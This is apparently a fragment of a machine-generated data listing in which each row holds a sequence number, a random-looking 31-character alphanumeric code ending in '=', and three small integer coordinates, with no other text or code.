+14520,JTYVANSTRBSHD25TTEG99MII1CESRFZ=,227,6,7 +14521,IILWS20PLDE770NX2X9WVMFX8AIOESK=,227,7,0 +14522,LXLRJUYNGY1ABKSI9XFK0BRDK0HHCU5=,227,7,1 +14523,EBHFT7T8HW4FFSMUQLYEKHVSODM5OW3=,227,7,2 +14524,VPKT227ARO1Z0IG83HEBCWK0IXZ383Z=,227,7,3 +14525,P35PZJ9HYDQRTV6QPZAOAV38AHXQN90=,227,7,4 +14526,0748TQQ3KBWH9ASE7RT3QSCW6XPU7GZ=,227,7,5 +14527,JVM7738390W2L8A16AVZG9O4HVXS82O=,227,7,6 +14528,XC371CLQWWUP36174IQSL8X9TDZM040=,227,7,7 +14529,A09LJLPXKFV8MZFHH28W0RNFBVOS952=,228,0,0 +14530,G3PM35DB2TADC327LQOOCVC13FY4W06=,228,0,1 +14531,9V09C1P3D252PJCYTYRAHFZ97PE0O1X=,228,0,2 +14532,NTHMZA6TAS9MAPGBRC4M7T7T7A1PT81=,228,0,3 +14533,7K1OSKN54HYXI9ETCA50N4X4FVFZQ1O=,228,0,4 +14534,WPOEYBMUQ5Q5SUYO0WDL10JSDDJXWZO=,228,0,5 +14535,EDTZDM9M7V1FDSYHL9BXJBWTBXO3P95=,228,0,6 +14536,EJ1F1NPIKOF4NIHETDQNA03CPD1JZPV=,228,0,7 +14537,UJYCKFZSEJQGX5V9JCP56Y85HEO34NQ=,228,1,0 +14538,BZE3CZD0EQNDMRJNYMW4KLUO2KFJTYX=,228,1,1 +14539,BSC7S4DDQCMPPK6PHV3PZ2OYP080IUM=,228,1,2 +14540,UHG2U70LWQT4W0MVBVFM3XVETNXQJNX=,228,1,3 +14541,JO1B9ROLL9WJ3Q8MAHU4HLH98ADZ0DW=,228,1,4 +14542,H5W6W4HEWASOBKRVKWZ7DZGAK99KPNU=,228,1,5 +14543,PN5F6THYMAD8O202R42RCNKVF1WXR5W=,228,1,6 +14544,P9FXXGG490NHSDLSKI3X54ASKD0EH8P=,228,1,7 +14545,EUJMKDLI85TZLRFT0SKH3C0T3VW636S=,228,2,0 +14546,2XA8R3UWQXN9CF16SJG3CO6RO6KBLZA=,228,2,1 +14547,KIYQ6HJ0HKBDEUEI9PT2HCGGJMX2X1F=,228,2,2 +14548,1ZNP9B0LUJP7P2FWP55K84G0KXO6BK7=,228,2,3 +14549,5VGJZZ3SKLWFDGXIFJA57E24USI3T55=,228,2,4 +14550,P9EU41JA1AHG7H5SBOGTBAKKHOSJ6UI=,228,2,5 +14551,T4JAJRKJC48VFDNHSTIUO25VPWMKEX4=,228,2,6 +14552,4HRO2MLSVHYCQVRRTWOE2YA5PW5CF06=,228,2,7 +14553,SU98M7E1KS3MU6WU0K2LF5R1WFEOPGG=,228,3,0 +14554,KIL46NK2H2XMSTBU6TPY7IR2PA4K5N7=,228,3,1 +14555,M3V6DA0X7BPTVDZTMB0JQHAUDVGN3T1=,228,3,2 +14556,L0AFZ41YL4VWBOF3P6LC5XVI4JPMQWI=,228,3,3 +14557,C9XK7YQSR7HLSTSZW77GDIDZ8HASDBZ=,228,3,4 +14558,TOJ16LKP7DQY7XWV4TWA4CF2B0O40CN=,228,3,5 +14559,AI87WCE9HHA46U4RR7SRKXQWKEF4DUN=,228,3,6 +14560,FKKZRT4DGUW8BHTTCTU3BJODHAAJ6II=,228,3,7 +14561,N8OJ6M24Q0VPIX8EEJUNBR2B6YXTVZ5=,228,4,0 +14562,8QG67YC6GFVBRTE0EYL5T5V29C8ISK8=,228,4,1 +14563,D7J48UKYUT8M3QFHO2O42PN0CIN3Q3S=,228,4,2 +14564,22GQPQL1G98Y8KZ9CVGBOUX6TOTRWAR=,228,4,3 +14565,AEYYH0V3CVC8G3G4MLP4NY50VHJRBAR=,228,4,4 +14566,CDUFQL3C2GMGKAHLVRSMXERPIPJGXS5=,228,4,5 +14567,1E0Z0G4S4MEDP9AEN0ZBU0GRG6JD1N2=,228,4,6 +14568,MTFN2DT4USPQG2H86HQG8QF242HI3I1=,228,4,7 +14569,9P01ZGLMUXEXD592HQNDNE2P0WY503T=,228,5,0 +14570,954K54AMMKJCYXPLOHPNK3U95MBZK4T=,228,5,1 +14571,42WP46E7J3FUIMIDDWEPJU8GIUC9SU4=,228,5,2 +14572,WOG1BWH9V55N0FT99SO234DJ5B220DF=,228,5,3 +14573,DWBLWW4J8JKFE0FL2S1DVUZPRV3AN1N=,228,5,4 +14574,H2U6MSEV3PD4EGN0RIIPG37RTMKC7P2=,228,5,5 +14575,C3G1CGKJ146RJAGBO6EVNBCRAUX3FZH=,228,5,6 +14576,WTC9QJ6X1CXKAGJXMB52GNYRUTOD53R=,228,5,7 +14577,ROI4X2R5GL0LWKLMMJ2264EC60MP4XM=,228,6,0 +14578,7AM5I227T1ZK9LSPYQODGBBE8S3HDUW=,228,6,1 +14579,WLEKGYWH81QYEYKD8DIX233SJ5SUUFL=,228,6,2 +14580,DBVKI9VII83W5MH6YK3LH0W0KZHWR1L=,228,6,3 +14581,O6W9FL45O5IQP63H5AXL77EM1J8R24X=,228,6,4 +14582,92BOU09GTHYBGPPQ0ES13KCCJBC8C2M=,228,6,5 +14583,FBUWJ997GKY5FGKMS1YDB4SCTI1KZRI=,228,6,6 +14584,0EU14I64BO9ERAUTHVMFLTHVTUY4HCG=,228,6,7 +14585,FCTPK4ZC79NNRPI8EBVMARXE3DV7O61=,228,7,0 +14586,JJDMPE5RLR03Y1AB1HTDDDQYWP17HWJ=,228,7,1 +14587,BPKASAS66NFTKXE8FF6S8HWK297BUNV=,228,7,2 +14588,DZJY8K4Y1FXDHGV3C9N92YWZM36D5B7=,228,7,3 +14589,79E76TJRQ3AHJOBV52XAQZ9L6TDXBOM=,228,7,4 +14590,V4UPW6RVKLMCSRP065VDG22YVJG5IHI=,228,7,5 +14591,MV034TDD7LW62U9290K2QN5U466582A=,228,7,6 +14592,XCRTQH24HMHXOEME5TOL2LLXJ1M11GX=,228,7,7 +14593,LB6SK8YQYIFWNI249ORXOHKP5JW4HC4=,229,0,0 +14594,UDBBW9D06NTZ6ZPP08Q9DPAIZBFUD4X=,229,0,1 +14595,M09Z3D6FV5VLM1KIWNPAPL5LUL45V0C=,229,0,2 +14596,0F8HO7WU4139SN7UQVZ8I3Y405QRVNN=,229,0,3 +14597,4FQ3RKG8YVDX5M3G4DUQ7SPMN9CMT2B=,229,0,4 +14598,PN5E8QL6Z5QWXR4TQXR2F5MT9XQ4RDX=,229,0,5 +14599,Y4Y4B37QJ1QUOX3SLNX1OWW1TNF0J43=,229,0,6 +14600,S3TNGU0PKF86P8C1G99Q4GI19UH4AXQ=,229,0,7 +14601,523KG9EIXVSCFCPJU27VA8RO19P4Z3B=,229,1,0 +14602,DJY1YN8A1YK7964B7IT6UOJVWRJMSCY=,229,1,1 +14603,66Z6OF4XYOAN1GRBGAI0LKQNTCK3BES=,229,1,2 +14604,K7JTAM2ABPT9TNMF4FPOLH8798UJ1OJ=,229,1,3 +14605,BUNX8CLW83JALQLPLWISNEF4DIM91AF=,229,1,4 +14606,F84X2X9PYAO66SUUS5SXKKIBBLGDYDM=,229,1,5 +14607,0JJV46XI0XSLY2C69QK7RZRQD4RD5BF=,229,1,6 +14608,D8V3BTVB0HL991NEW3U0Z3P6AP2719H=,229,1,7 +14609,Q381Z1A30CCRG7Z7Q7S7UGRPM5403HF=,229,2,0 +14610,HT9M04323UWILQHECTOFM7NF0MINNND=,229,2,1 +14611,IQNZL8YYOFT09Z4CM12EULQWIMOY6T8=,229,2,2 +14612,QHN1D8JCND7CSXRVXLS4EP5TJACX51R=,229,2,3 +14613,XT65THAWH0Z0Y98YYXGN5JBNG0NQYCB=,229,2,4 +14614,8LT8IBUMN53D2UN7TYTMPQ2PTXVH5EB=,229,2,5 +14615,N7AY1GRDVKNSK3Q0FZVOC1NRSTMLDAP=,229,2,6 +14616,IURDBVT9BN8LF39Y0O2KBPI48G9T75G=,229,2,7 +14617,RG5TECD3QNEXCOGXM1LGHM5A1VEZ9CW=,229,3,0 +14618,1BP233ZZRKDTUNTEYL44H9WIHY91ZTK=,229,3,1 +14619,D63XBBA1MV7IVXKLTU59ZD2644S909N=,229,3,2 +14620,VF8W8MMSJEE6UWTCEM8TU53HV2N8K2D=,229,3,3 +14621,T79I9LMN2UUZVIV44WQW00YIYAMRP36=,229,3,4 +14622,VR43718AGRL7I9C2XURJG53IFA8TNJK=,229,3,5 +14623,2TKOJ5UV8E5XI8KY4AKB1B4D9AA39RU=,229,3,6 +14624,LRYNCEWTAGNLEDZITEWQB2CCK99WOD3=,229,3,7 +14625,RZGRR6CYLGUHCO0ZCEXW5DS5XZG20X8=,229,4,0 +14626,MXW24COQ2MMS52N3B2S44ZMFI8T3DXT=,229,4,1 +14627,QYITM3B43W0M4S02FTN58WDBZJHQTUE=,229,4,2 +14628,HQ3HLAYIXSFJXMSXCPD1NYNY5DEXTDC=,229,4,3 +14629,9L6HEZZ4JTOM8BLXUYE62WRTV9QOKOS=,229,4,4 +14630,OHVYLONEFIDO9HZTSMGRPQF8A8XS14P=,229,4,5 +14631,QMT0XWCANSTRJW2TDCE0HNA61EMV4LR=,229,4,6 +14632,N9ZRY9QJY4GQ7ZIWT68BDLVI1NO4ZQ5=,229,4,7 +14633,PEWM7IIH8L9JWJO9XA0EYW0C6HWXAMZ=,229,5,0 +14634,TZE1PKNEXZNHZG9XNHS528TS419HKHE=,229,5,1 +14635,O9HHNBXNKFFVFVTZ4HS9NKZ1QJPOD1K=,229,5,2 +14636,MMX8Z4AV6XPJ7R92ND5M3EKEKPL0C6M=,229,5,3 +14637,PX1MM0O423FQDBPYW4OW7N8V6CMRS4P=,229,5,4 +14638,T3FODHB8HWAQU9P3BXRREQ7V1VGKF4U=,229,5,5 +14639,DKP0OCYVU5NTIRD47O5PG4457NBJLTD=,229,5,6 +14640,RDIQFNII89AKL4FD7K7OJLF80K13QW3=,229,5,7 +14641,I3NPHO44LGS48CTS70KHVZAHDHS6LTD=,229,6,0 +14642,G1JY7EX63PAQPVPF78UWUBATT17OQV2=,229,6,1 +14643,ICE4BV6SDZ326T0RMSTJDOVFL54F3WW=,229,6,2 +14644,5TQ4YZ6YILAT8MVTWQKXMER69O3Y7N1=,229,6,3 +14645,LGZ9UWDH86EC1GJ0SH6WYCO4VJ5JFGB=,229,6,4 +14646,IVS42Z1GL3FJSMB5M9BMRTWY13OR078=,229,6,5 +14647,L6USPPK2TRICSEQO7CY86WPVJIPYUVJ=,229,6,6 +14648,0DFO02TVAOE8T2VJ8P1226IAU7HBC9V=,229,6,7 +14649,UBKMBBEUQLVYYUK71KJ03K23M2SY81W=,229,7,0 +14650,LETF7C452RZ8IA4LPD8QPTM6Q16AKB0=,229,7,1 +14651,4VXZKU7M88LD1Z21GOWNP4RJVYWP4YA=,229,7,2 +14652,ZC68C527SN8CB2LQZU93HID1L4G6YPS=,229,7,3 +14653,6C96ZLX7XHWZIMJS856ZQ6N84YSR0N8=,229,7,4 +14655,DDJ4NXR0L06ESPGTMDG20G0J9F3HY74=,229,7,6 +14656,QRFRKE34Z24A7Z1F1AGXAK6936Z1MVI=,229,7,7 +14657,ZZL2CETEQRBMQOCH06ZN4CZFAHTVR5H=,230,0,0 +14658,SSGLNRUSFEHBH5AZ5WFSOGWONVUEXDG=,230,0,1 +14659,BJ6O188ZESYEZVM1UW4W2O726HF7FRN=,230,0,2 +14660,HOPRWETC3TZV2BKLBU1LDYYON11ATNZ=,230,0,3 +14661,Q815XNRAJXDFUHCX3F7ILN21JZ98T17=,230,0,4 +14662,AV9B01JOY8VCNK1T1NGUUK7J0I699MP=,230,0,5 +14663,UOCQQWFA7C6AWC0JAV4FPD75W2RCABO=,230,0,6 +14664,DIVAZWDX2DA5P27DPFCEX9KRL0ZY5VR=,230,0,7 +14665,CRXEZ5ZYLWVMNIXMAA8P23E0LKN2C5N=,230,1,0 +14666,Z1CDIOHL0H5RA7A2T7TDUCBT866ITB9=,230,1,1 +14667,BEJ0RZNOH3VFT4APFZH9HYI2TFK31AZ=,230,1,2 +14668,1VUZ3C0KNBRRPH8VTD7HA0CUGWSD1ZO=,230,1,3 +14669,WJZ0FBOFDV40H88REHDGG26GLZLYRIC=,230,1,4 +14670,IKEQYBSC0PI6KI1RNH8UCIHNGGHC1M8=,230,1,5 +14671,MGQV5MZMA7UAIJMO2BTGBQ40YXTA217=,230,1,6 +14672,TXO9323ORJOJC0IDW57Q5S0KFA1W3AQ=,230,1,7 +14673,L8CAT7UI1U93BA1K55SH7BE85JZHZRX=,230,2,0 +14674,LR055N4O3SW9U5ZMZ9XV5O7FJUXJJ6Z=,230,2,1 +14675,QI8FQJC47ZYK2PWVDUUVXSDQ8ZI9IIM=,230,2,2 +14676,12CSWNWI7TE9QBXN0DWBVB4DOS0NELL=,230,2,3 +14677,8DA19Y6KJ814H2ZSX7MUJBWOZPR498B=,230,2,4 +14678,JG1ZIJDCEK0YL3336LGPCAQP3VY6JUW=,230,2,5 +14679,XXDTHVDD7EUZ7JKQJASAJXP9S1V9I82=,230,2,6 +14680,5UQEONGNPSAWQY1PN596SRAZH6M8MWL=,230,2,7 +14681,M32985E2DAAI9Y6RIFZO9PHP4HCY2LA=,230,3,0 +14682,BYRZZYUMLDTVRKY8SYM3K8S591516Q2=,230,3,1 +14683,B0ZSSGQXV43UE9AAE57T5QH2ZW0L1IF=,230,3,2 +14684,NHQ8PSDKZCWB5Z8MHL6ABSWPI31SCZX=,230,3,3 +14685,VYI0YKT8HRWBENMVE21AZ67YHZVB8CR=,230,3,4 +14686,5EY7FUIFESB6ERRUGBL7AQGAR0Y3X96=,230,3,5 +14687,AQWL49296TQYNJ3LIQ6A3PASI33WC6A=,230,3,6 +14688,T2INO2DSG0RIER820QB9ZL8RDSY0P1B=,230,3,7 +14689,AYAA2UWH4BZQ3EWAAQNZVNA8DB9WEJV=,230,4,0 +14690,JEY29FDGGIAX6F7TPRHRLMCNBEXATNL=,230,4,1 +14691,0QCSO6U5Y10QAQA94PUAAVRL86HBWDD=,230,4,2 +14692,3YYA3OZTZJRL8AH1K3A4TGST9GD11LE=,230,4,3 +14693,7L58BGBA0VNDWV4GRCUU63LCPL7YIA5=,230,4,4 +14694,HWXLSK1PL4JA5JN1WUP8QTR1DWUS8NL=,230,4,5 +14695,KM8D1J3XF70AHSY45J18IREI0Y13A2I=,230,4,6 +14696,OX7G462Q4G8HD2H25KY3WPDWUXNNAHA=,230,4,7 +14697,OWITO50DATXAFSVWLDGIEW9M92Q1UP9=,230,5,0 +14698,J0NLX5D27FRSK08DMG6KOTS8S78W1KT=,230,5,1 +14699,BESJAN842P5E4446EZEFM8HPMWYXWE9=,230,5,2 +14700,KMKHJPI0E1YSF4VKIUZRU60PEI2W3GP=,230,5,3 +14701,HFGG1HB91GLA6LNQ3MS1BLZWJWL5ZO1=,230,5,4 +14702,G6FTLQKQ3YFPMRHXEEHQE7UY7O0VA0F=,230,5,5 +14703,HF24PUXA4I5AJS5U0Q5JDWKKUG9FZTV=,230,5,6 +14704,5M5BSZV94BUYXAI52R7TQIOFT8CLDN1=,230,5,7 +14705,R1GL7HSZCCX3TYXVY3OZNDIMBX7X8LX=,230,6,0 +14706,XYMYBV0FQXKIO1CH3GLYAT3G1FFN7ZH=,230,6,1 +14707,HRZUPLLLVF29IK6Q3JJV006GZEITMXJ=,230,6,2 +14708,S6C70CJOZ0NTQDFO05W5469T9FA73RI=,230,6,3 +14709,DP7Q95KAJR0DK9ZVS812PLX942OLCY5=,230,6,4 +14710,EXR9VLBCD2T1X2I60RXPWPJENPGSBTN=,230,6,5 +14711,QU1F0ROSOGGQ9Z2B4V2YG3UBHTVZ9QG=,230,6,6 +14712,RNDV865BX87GRII1XOMFN7PPTOPHL7T=,230,6,7 +14713,4DRZN0FLTHP27EMVNP3K5JNLJW89FH5=,230,7,0 +14714,Z9XPQJY24URGXI175ALN33E57QCYFLR=,230,7,1 +14715,833YZUZYET9PZ8OWGNC0FOD2ZQRJUR2=,230,7,2 +14716,6GBUNZ13BCECUXY6V2CBG5KW744S6QS=,230,7,3 +14717,EFTCQZUO42BCLSQ7TCUOIS5A0TX6XM1=,230,7,4 +14718,LF3ZPX1QPBCOGJTRQNVWOLL1V4WX75J=,230,7,5 +14719,YUWHQ9ZG1V8F7C2K1O874ZULHU0GW5I=,230,7,6 +14720,GHTEISNXC8LJGKADOFO9CY10AHEZNFH=,230,7,7 +14721,CP1F6WBE80YNDQL6ECLT77ZJSSIKJ0L=,231,0,0 +14722,ZQTU6INXZQLF9WMB9QBQ18JMU5GC5IK=,231,0,1 +14723,E30WUNW02MKK1ON8RLQZ17Z7415J0OB=,231,0,2 +14724,E404ZHC19X245XUM01ABZ7LNMFD23IP=,231,0,3 +14725,TWMK8DY6C74BO4PFXAG1QOMJXGQTNYM=,231,0,4 +14726,M3TDGL7PUJNGCQIMZBOAGCLWH4XXLQ9=,231,0,5 +14727,HA78IIF5ER6RP7G6JMR6MMTMY45SC2A=,231,0,6 +14728,SVNL8G0ZWUKZM9PHADHV6F4G5EJSP7E=,231,0,7 +14729,OCBEZQPFLZML4FCROBLEVRBW7OMFF75=,231,1,0 +14730,3DP006XSO6WG8E1UVM3JH364PO8LIPX=,231,1,1 +14731,E2KRPVES1ZPKCP03GMCQSA9HGXPTXCQ=,231,1,2 +14732,NPA7R1RWRM01FGAZ2H03BM34JD3Q2ZK=,231,1,3 +14733,FD6KM90PV6I397IZ9MAFG9P9FO5Y5Y1=,231,1,4 +14734,26N5Y2ULPVBPCASV7PHYC3NS44HF4FC=,231,1,5 +14735,XTZIUH0S0DHO2PA99QJGWB8HX3I0BYZ=,231,1,6 +14736,B1OKBQINUKEZF712WA9BEXRHY0B5RKY=,231,1,7 +14737,H310PZL4BF8ITK3AIDA1I706R7WPZBE=,231,2,0 +14738,ALAIQ0R01GN6TA13J6GS3PJB00MXRCW=,231,2,1 +14739,DVC8BRV2HMJKU99GR6TXRYZAI6BUH1O=,231,2,2 +14740,YC7FZTDJB2WTFP9U9CMAO2MEUYHUSZU=,231,2,3 +14741,APOZOJ53HSYLXX5Y0MABMT3K7B91DN8=,231,2,4 +14742,B4N7Y1YIFAPM82K95WW3WHVPXZAE5HL=,231,2,5 +14743,8UA4QCJ2C6BXIZYBEHCCY4UGRKDJ8A3=,231,2,6 +14744,55BKZ9GRRLK46AWNUEVOKDT0U7F4JX3=,231,2,7 +14745,U6YTQO4B5GJY812HR82WAG5MS55PCTL=,231,3,0 +14746,ARB2P6MUMF0NKKXZ114HP2V4RU6KJJK=,231,3,1 +14747,8U6C2RC6NI69ZT53CA0HOW758DMSG3T=,231,3,2 +14748,YBXYBBNYTCHXZZPYFN04GM9BMUG1YG8=,231,3,3 +14749,B44ZM8Y81ALIIUTS9HAL81F6IHVS4JB=,231,3,4 +14750,XOUZGB119K43A1FQKS52YQ87R5HCOGE=,231,3,5 +14751,LDXZ6Z6XFLDQJJ2FRJEP2SBLTR8OIP4=,231,3,6 +14752,DRPSGZZG4DE2LFOKPCY0TT0M0YSPTGQ=,231,3,7 +14753,KY9OFN4MGTCDB36EMSHA7PFF013ABVV=,231,4,0 +14754,W8L0KIOJW6AQQL2IWZMSW0STG7LROXE=,231,4,1 +14755,WK9NL9O3P8KEXK7AF89WW3YFH58RXCO=,231,4,2 +14756,ZGWZM0BFMSYOGNXD9BWFDY5U35Y1W60=,231,4,3 +14757,QP7IJ6548UZB88MZL9JC7T4OOOAIXAU=,231,4,4 +14758,2AT7HZT9VM80IIHU2UYXK95BOG5PZ1T=,231,4,5 +14759,6TN8H0UO9ARN8WMU5274GCATAYO2M6Z=,231,4,6 +14760,8GC21IU0H496FDAUZOH8HNXQ6P1QHPO=,231,4,7 +14761,68200YYFPUFKTBXTVXZZYSHAOD0SJ9A=,231,5,0 +14762,FSMHO0LJTE2XN94T63P1J27XLH6M92G=,231,5,1 +14763,4CBK3TY03HPYXPAZYCMJL4NHFQKNK07=,231,5,2 +14764,NENK0D5GYUKII9JQNG68OSSTHYIZ9Z8=,231,5,3 +14765,9VCB8Z6Y0DXFXGSZI3FFBBZAQJY4N5U=,231,5,4 +14766,TXOZLYMJ70MDZWH12ZO0Z873EGBNH4M=,231,5,5 +14767,Z796S3Q091IQUTT989UQZUD5B0IMXYU=,231,5,6 +14768,GSUR8ECHM01ABTD15WG1ZB8DWFRTSFK=,231,5,7 +14769,Y6YPFLU36KDQS7R0RC7YSIWCJ8KCLFL=,231,6,0 +14770,0QGLOOUKY4TYLMCN1WAFMWRK2B70WZH=,231,6,1 +14771,O0HMH6PQX38DAKE6SKGLBK848NY1D3Z=,231,6,2 +14772,SGPY9GITBQL1NJS80EAEGPGFPV4BL4X=,231,6,3 +14773,M389RVGPLNZ8OVZ0MCRAFKKHNHVR6UU=,231,6,4 +14774,HQFJSWBQ5V9RSKQ2XOUUK1X9QZ7LOH5=,231,6,5 +14775,HLHNH3VE5JN57B9P9AXUKZ2MZWGDUW2=,231,6,6 +14776,CW23TJCCG3TN468PQMQ3MEKR0QRANBJ=,231,6,7 +14777,TG3YBXCYMHEUYZ3GME9B94OI74YPYQA=,231,7,0 +14778,ZGE78D01Q0VKLYECT97KYI9J6VZMEHS=,231,7,1 +14779,4CRI17KXUFG3K0VQ9Y8WE2QR5LSQI1S=,231,7,2 +14780,GQHWHNDEU0QRXEFWTR81Q4Y5LPTEG9Z=,231,7,3 +14781,KLTTDT14W2XJ23OBQRJO15J9TLLKHC1=,231,7,4 +14782,3C6HY79W82RBG823YUTKS3ICECY35EX=,231,7,5 +14783,F7FVWRV38EFH3OLYHNMKEZHMQKUQCAJ=,231,7,6 +14784,0EZYPKMKU6DENB15242357OCIL9E5MD=,231,7,7 +14785,D4KS7K4FHZ30K89AZJD9IK4AHOI6SKD=,232,0,0 +14786,0CKCM3GBRDJISNTLD84TNIOJ6ST9I78=,232,0,1 +14787,TUEJDPFRFRT8VXBUGE3GSQXRTE101IM=,232,0,2 +14788,7O538YXN86U02GWJAOO44DYWYUE39TW=,232,0,3 +14789,1QDLSUNM0TY3EZGH3HKBWZ0PZAUNWOH=,232,0,4 +14790,PHZL16DSBFG7CS9HMV2F02XTR5CA0QO=,232,0,5 +14791,TRVE5NQ6N6DZ5OA3YSJQRCO4VFHO6PY=,232,0,6 +14792,SKHZG9LSWF14TGYGZ90UADFJ9JBO92B=,232,0,7 +14793,XEW7WICQG3ND4U7891V5OVCHX17YWLQ=,232,1,0 +14794,A5P8UNG4SIYVVBOMP8KUYSZRW61K32P=,232,1,1 +14795,6ES6MX6SD0S5DSJ6SJ5IEQHWBKR942Y=,232,1,2 +14796,1SLQSAE41RZLG42QIRWFTNRW7UY6M8C=,232,1,3 +14797,56GHRKWMNKZRCLZ5J4QGJIBOALP30A5=,232,1,4 +14798,K4PK4Q19J1GG6KKZK5UDOEDLD5W7VSE=,232,1,5 +14799,ZK85XX8LV6PA5UM1Q7DFIN5KGXVULAN=,232,1,6 +14800,17LY63QTV7FY7WG8HGK4WNXZAG6R8DK=,232,1,7 +14801,2RWLUDKIDOBFCY12DRWHIOMA0PT3B89=,232,2,0 +14802,63SXS57Z5BXIBH59J6SA7F2GM52LI82=,232,2,1 +14803,PPFY6FDZL46Y1M43DLOR5A5LU29EWBV=,232,2,2 +14804,XGXGRMOZAYQIBSU0VYYCHYKX4XI1R9C=,232,2,3 +14805,54W6H7KGTD461YKQJSFWU41HNCMF5CA=,232,2,4 +14806,IPVQRO0A9I0MZN219N8AS3JONRI0Y9P=,232,2,5 +14807,2MOR3E7CHUBBRUEB90UW4UYB86BFXHB=,232,2,6 +14808,2NXXQFW4SEUB4O0AHTXSGDE57MKYHX4=,232,2,7 +14809,V3FWQ96QBE38PS50QAOUI56M4SDQQT0=,232,3,0 +14810,XF91V68QI1CN4KL7GVT3M6EM2LLKZFG=,232,3,1 +14811,HP9FIQAYQT249UKP76UY6UT4KUZY5BX=,232,3,2 +14812,E1YN13NDFDP23Q1HQNLG790V3U2EGPS=,232,3,3 +14813,T75YOPQJ5WEV8LF1G28ZQESL2HRAKDD=,232,3,4 +14814,A21HCO58HMLH0FG6VSIF04TDY1JLNQF=,232,3,5 +14815,OBZX58E1HR1L75POEMAQWPLLK0WSJEC=,232,3,6 +14816,R9KKNTIXFFDS9LBUK3B8MYU1LNNB15S=,232,3,7 +14817,77KEN6B4YSUKJEFF2M52ST92HKWRFIE=,232,4,0 +14818,FO1JJGLXAOU07AY9FXSGE9LT2S3GUJH=,232,4,1 +14819,BDIOLBWSUFVW8WTDQZ1EXHYXH5762G0=,232,4,2 +14820,W24CW2ITNQCRTXVLEUYOGIKX2AY74XM=,232,4,3 +14821,Z14V3YFEGPELSXR0OPMWYT20R3T40C9=,232,4,4 +14822,9O4Q84QTJ71092H5GF1L03WGNM2CLCI=,232,4,5 +14823,8SDDSFGZ5HZIP7VGQAHIPVK1XWBMRTW=,232,4,6 +14824,PPGY0H48STU3FCT3L6T51KETKM1RE8Y=,232,4,7 +14825,2XL2MRV1XPT92LTZYZNHNIRX87U14SW=,232,5,0 +14826,HKMI2RYQV4D01MMQKG9QD9OPQ89Y6QI=,232,5,1 +14827,3FGHE9JCE0HIZNZXT9VOC37JD9HVPL1=,232,5,2 +14828,XVHCLEPV53NPO6ZT4OXF66ET7DPVBQG=,232,5,3 +14829,LEQJ1UVJ5ROJ8WWF35F3PUQUBVML429=,232,5,4 +14830,RCGVREGD1UR2YNNQOHY09LJY1LC81IY=,232,5,5 +14831,HFEFN9QRLBRQFO1WDUTOUSQ6Z1V6IXB=,232,5,6 +14832,84CTH4A22SZ8OB96CAMY7RWG6GSGZAF=,232,5,7 +14833,BCO9IDFQCZPN100OGN0R7YN4VSAWAGY=,232,6,0 +14834,IQOJH7OXMU3MOVXVXQLCU2JO35YMFHY=,232,6,1 +14835,2KC91K4FBCS9XYLUQEYO83YPCRMZBG6=,232,6,2 +14836,J095ALYE4WW97ONEZQB8QS8MGJR9L4C=,232,6,3 +14837,T5UOROUCA4XIM8BHZJQHJQQIRKP7ORI=,232,6,4 +14838,Z7VVJET6F4A0ZTEPTXE48I2UEH8UW0U=,232,6,5 +14839,RKXXRKE7JMOF4TI4BFX80AZA8X8OKKR=,232,6,6 +14840,2GAQTLOGF2ENIV636WOAUAEJZD1G4CQ=,232,6,7 +14841,ZEOGCPETGZMCE1T4MPZXRPJ1T1HA8RQ=,232,7,0 +14842,GFP8BLAO48T62GX21AAUUS6W5YC51RI=,232,7,1 +14843,33GP7QMANYTTA5DAB71SDZYJYUSOXP0=,232,7,2 +14844,5IB9NER9ZBVX3SWMTTZ2GHHPX66RTGV=,232,7,3 +14845,M5YRIG92M79L1P48F3VSF25XYN2VLBD=,232,7,4 +14846,1TZLLO7J9L2SRYJ22E6R75T2JSZ5NK7=,232,7,5 +14847,SNBOJ9Q72XYBNDG9QNN4BOFTU1ZM5X9=,232,7,6 +14848,MZY0MI5O7DW50QRBB7JB94HVIENTEP3=,232,7,7 +14849,LXBXVQF0ZV9CG2GJE57RQ6QMADXRQMZ=,233,0,0 +14850,YAVE2WNWDAL3LHL1V3H8SICMOVPP5HN=,233,0,1 +14851,CVHD2Z1JN0MXGTD5KYTR6RBIY4WDWU7=,233,0,2 +14852,G7GYX83R2CNIFE8PRAI2BJN1UMJQF4U=,233,0,3 +14853,SEOC3CRJB2G8XO124GEF480CHJZ12C3=,233,0,4 +14854,GUTSAKKITOIRJCSN9OE4JYXXGLVP6T6=,233,0,5 +14855,BGWNRYYOZ2ZIQ25523SOXOG578ERJY6=,233,0,6 +14856,A9P9QPBYP2AX6LRENP0HH4OIL6Z1POM=,233,0,7 +14857,YQ2R5WQW11X0FMRCWY37XFDIVKOZHDI=,233,1,0 +14858,Q24F7VMQC3IT3V7R1ZKOXD6M4YLUSRT=,233,1,1 +14859,KL5EM0DA0PI2AXEZ9YYGDKHQCTTIMIK=,233,1,2 +14860,52D9MNVMTP0FIJKJ3QLMPCOVAXIC0SI=,233,1,3 +14861,25T1UMMBMFWU5JD3PFJ1XOARSD7ACK7=,233,1,4 +14862,C17XDF7LLXALHZDE0BP2174YSJ41LZ0=,233,1,5 +14863,AVVJO0EBYFD1ETOT2EK5AKNB6WKI9Q6=,233,1,6 +14864,0XNH4PNZADACFIZXMC59DOUSQOK2CTX=,233,1,7 +14865,UMVQQ4XTO5ZWAY0DCVEZAVT93C9H1GE=,233,2,0 +14866,GSOAXFIGSZBLJQXQPXB8MX38G6LHUSB=,233,2,1 +14867,YQF7IYY6GTKUC9FJ5EV2GCAUPWR53AG=,233,2,2 +14868,JH42EK23SDGLSIYGJHOYEAYNZ3TDVRA=,233,2,3 +14869,MM5BWANDJL3Q7FJ4RWZLCA0DN4PR1OI=,233,2,4 +14870,Y0HIBCRWAQ9RSCCT3DCDB024ZEOWLJA=,233,2,5 +14871,99N8B8L6T3OQLDNW1S7GAYPJNPIWYV9=,233,2,6 +14872,LSOPO8NAL7HK5GH2SME18HPXVX2IAVY=,233,2,7 +14873,6YGIL06C4P8L667NDB23UH1S4OEUALA=,233,3,0 +14874,DNMCXFFJ6YJWK16L95NG71LAIADWYKJ=,233,3,1 +14875,Z4BEBB2NPMDF0OUYBXCBJVFJ8HR661C=,233,3,2 +14876,1853XX2SM9SOXPVVOVZG240UUNH4MTB=,233,3,3 +14877,YTMWD1AGCII21RJZWCP9120N0MJVT6H=,233,3,4 +14878,CYKUDHMDEPYGKBOR3GEI2EACEZ0PBSR=,233,3,5 +14879,D0CEL32R3P70KT93FDHJXRT8D768UNA=,233,3,6 +14880,H4JQ2JVV4UZ9TP1E4N480JCIFBKFRSP=,233,3,7 +14881,1B9XER6EJE61YHFZS768Y5OMRKKXMNL=,233,4,0 